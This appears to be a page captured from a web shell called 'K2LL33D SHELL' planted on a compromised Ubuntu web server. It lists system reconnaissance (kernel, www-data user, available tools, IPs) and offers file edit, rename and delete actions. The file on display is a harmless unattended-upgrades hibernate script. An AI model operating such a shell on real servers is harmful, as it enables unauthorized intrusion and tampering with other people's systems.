K2LL33D SHELL

 Apache/2.4.7 (Ubuntu)
 Linux sman1baleendah 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64
 uid=33(www-data) gid=33(www-data) groups=33(www-data)
 safemode : OFF
 MySQL: ON | Perl: ON | cURL: OFF | WGet: ON
  >  / etc / pm / sleep.d /
server ip : 104.21.89.46

your ip : 108.162.216.195

H O M E


Filename/etc/pm/sleep.d/10_unattended-upgrades-hibernate
Size660
Permissionrwxr-xr-x
Ownerroot : root
Create time27-Apr-2025 09:57
Last modified07-Dec-2013 02:22
Last accessed07-Jul-2025 01:14
Actionsedit | rename | delete | download (gzip)
Viewtext | code | image
#!/bin/sh

# Action script ensure that unattended-upgrades is finished
# before a hibernate
#
# Copyright: Copyright (c) 2009 Michael Vogt
# License: GPL-2
#

PATH=/sbin:/usr/sbin:/bin:/usr/bin
SHUTDOWN_HELPER=/usr/share/unattended-upgrades/unattended-upgrade-shutdown

if [ -x /usr/bin/python3 ]; then
PYTHON=python3
else
PYTHON=python
fi

if [ ! -x /usr/share/unattended-upgrades/unattended-upgrade-shutdown ]; then
exit 0
fi

case "${1}" in
hibernate)
if [ -e $SHUTDOWN_HELPER ]; then
$PYTHON $SHUTDOWN_HELPER
fi
;;
resume|thaw)
# nothing
;;
esac